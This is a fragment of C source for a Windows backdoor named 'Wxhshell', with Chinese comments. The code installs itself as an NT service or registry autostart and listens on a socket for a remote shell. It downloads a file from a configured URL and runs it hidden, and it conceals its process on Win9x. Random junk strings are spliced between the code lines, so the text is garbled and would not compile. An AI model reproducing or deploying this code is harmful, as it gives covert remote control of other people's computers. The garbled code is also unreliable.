nrl?<4_
PROCNTQSIP NtQueryInformationProcess; ?v2_7x&
W'./p"2g
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f;e#7_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h.\I
tK{)
?H=YJK$k
HANDLE hProcess; cE\w6uBR1
PROCESS_BASIC_INFORMATION pbi; 6FB0g8
S2$E`'
J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G+
/Q!ic
if(NULL == hInst ) return 0; HMq}){=S
t!?`2Z5
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
'LYDJ~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^z
*0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lx`?n<-X
I-#!mFl
if (!NtQueryInformationProcess) return 0; AwJg/VBo)
6r~9$IM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )PN8HJAArh
if(!hProcess) return 0; .eJKIck
3qWrSziD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
M^kaik
ZX_QnSNZ?
CloseHandle(hProcess); \]x`f3F
s\ *p|vc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) 57'<
if(hProcess==NULL) return 0; 8{4'G$6
2"6L\8hd2
HMODULE hMod; c^|8qvS$
char procName[255]; sUF$eVAT
unsigned long cbNeeded; X_PzK'#m
~A0AB
`7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "@x(2(Y&
`q}D#0
CloseHandle(hProcess); UN?tn}`!
dX?j/M-
if(strstr(procName,"services")) return 1; // 以服务启动 KDN#CU
]D6<6OB
return 0; // 注册表启动 BFNO yv
} #c|l|Xvq2
'&CZ%&(Gw
// 主模块 P}6#s'07~
int StartWxhshell(LPSTR lpCmdLine) 5zS%F: 3
{ tN{0C/B9
SOCKET wsl; Gr({30"8
BOOL val=TRUE; Kj0)/Fjl+
int port=0; `
k]
TOc
struct sockaddr_in door; >D=X
Tgqqq
:$Cm]RZ
if(wscfg.ws_autoins) Install(); ZPf&4#|
Pr>$m{
Z
port=atoi(lpCmdLine); )F9IzR-&m
X[J<OTj`$
if(port<=0) port=wscfg.ws_port; 2K~v`c*4
>uCO=T,|
WSADATA data; d^'_H>x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TrDTay
xEG:KSH
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Xp;'Wa"@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9Zx| L/\
door.sin_family = AF_INET; ^3HSw ?a"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); k1[`2k:Hk
door.sin_port = htons(port); R1*&rjB
@kd$.7Y9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?r;F'%N=
closesocket(wsl); \1R*M
return 1; PR;Bxy
} V xN!Ki=
Ps!
\k%FUl
if(listen(wsl,2) == INVALID_SOCKET) { `DSDu Jw%
closesocket(wsl); D[T\_3W
return 1; +) 9=bB
} OfLj 4H6Q
Wxhshell(wsl); dsEvpa$?
WSACleanup(); JA >&$h
9'X "a
return 0; NX8w(~r,:
Mf5kknYuL9
} ^g'uR@uU
EhW@iYL
// 以NT服务方式启动 i39_( )X
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a# 0*#&?7@
{ n~,6!S
DWORD status = 0; $hM9{
DWORD specificError = 0xfffffff; J^kSp
rp]H&5.*
serviceStatus.dwServiceType = SERVICE_WIN32; LWo )x
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _Wp,
z`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y(JZP\Tf_N
serviceStatus.dwWin32ExitCode = 0; %*L8W*V
serviceStatus.dwServiceSpecificExitCode = 0; 2%l(qfN9
serviceStatus.dwCheckPoint = 0; *E@as
serviceStatus.dwWaitHint = 0; 5"#xbvRS0H
=+e;BYD#!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ylmVmHmc
if (hServiceStatusHandle==0) return; LNgFk%EH
*XXa9z
status = GetLastError(); m7,"M~\pX
if (status!=NO_ERROR) ?.I1"C,#VJ
{ i .?l\
serviceStatus.dwCurrentState = SERVICE_STOPPED; Dk~
JH9#
serviceStatus.dwCheckPoint = 0; e~G IUwJ
serviceStatus.dwWaitHint = 0; %F*h}i
serviceStatus.dwWin32ExitCode = status; o`jV d,aj
serviceStatus.dwServiceSpecificExitCode = specificError; cMUmJH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G*VcAJ[
return; Yu9(qRK
} xqVIw!J?/}
*fDhNmQ `
serviceStatus.dwCurrentState = SERVICE_RUNNING; Yv;iduc('
serviceStatus.dwCheckPoint = 0; :EC[YAK+D
serviceStatus.dwWaitHint = 0; %tz foiJ%P
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jivGkIj!8
} grCz@i
2)`4(38
// 处理NT服务事件,比如:启动、停止 ma2-66M~j
VOID WINAPI NTServiceHandler(DWORD fdwControl) K30{Fcb< h
{ bq}o#d5p-_
switch(fdwControl) PwxRu
{ Y&b JKX
case SERVICE_CONTROL_STOP:
cCy*?P@
serviceStatus.dwWin32ExitCode = 0; 4q^'MZm1
serviceStatus.dwCurrentState = SERVICE_STOPPED; z`@|v~i0`
serviceStatus.dwCheckPoint = 0; )6-!,D0 db
serviceStatus.dwWaitHint = 0; 2G`tS=Un
{ ,dk!hm u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bu r0?q
} |NWo.j>4-
return; "f`{4p0v
case SERVICE_CONTROL_PAUSE: sZPA(N?
serviceStatus.dwCurrentState = SERVICE_PAUSED; h-:te9p6>4
break; 5F|oNI}$:
case SERVICE_CONTROL_CONTINUE: 6M_,4>
-
serviceStatus.dwCurrentState = SERVICE_RUNNING; K@@[N17/8
break; fnO>v/&B
case SERVICE_CONTROL_INTERROGATE: vZt48g
break; ??`zW
}; ZC:7N{a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -]~vEfq+T
} 0h~7"qUF@
!@kwHJkv
// 标准应用程序主函数 Bgj^n{9x
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *5|q_K
Pt
{ A^"( VaK
-|A`+1-R+
// 获取操作系统版本 q*4=sf,>
OsIsNt=GetOsVer(); 1$ C\`
GetModuleFileName(NULL,ExeFile,MAX_PATH); \B~}s }
Qc]Ki3ls
// 从命令行安装 >hmBV7nR
if(strpbrk(lpCmdLine,"iI")) Install(); \$[S=&E
N1i%b,:3
// 下载执行文件 etWCMR
if(wscfg.ws_downexe) { iqPMCOPZ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zU,Qph
,<
WinExec(wscfg.ws_filenam,SW_HIDE); K.K=\
Y2
} uMe]].04
i_6 Y6
if(!OsIsNt) { #)N}F/Od^
// 如果时win9x,隐藏进程并且设置为注册表启动 5WvtvSO
HideProc(); /V@9!
StartWxhshell(lpCmdLine); FpM0 %
} %gE*x
#
else m<uBRI*I
if(StartFromService()) a"&Gs/QKSC
// 以服务方式启动 HTU?hbG(
StartServiceCtrlDispatcher(DispatchTable); ^9*kZV<K
else )4BLm
// 普通方式启动 P4S]bPIp
StartWxhshell(lpCmdLine); 05gdVa,
%^CoWbU
return 0; U^.kp#x#
}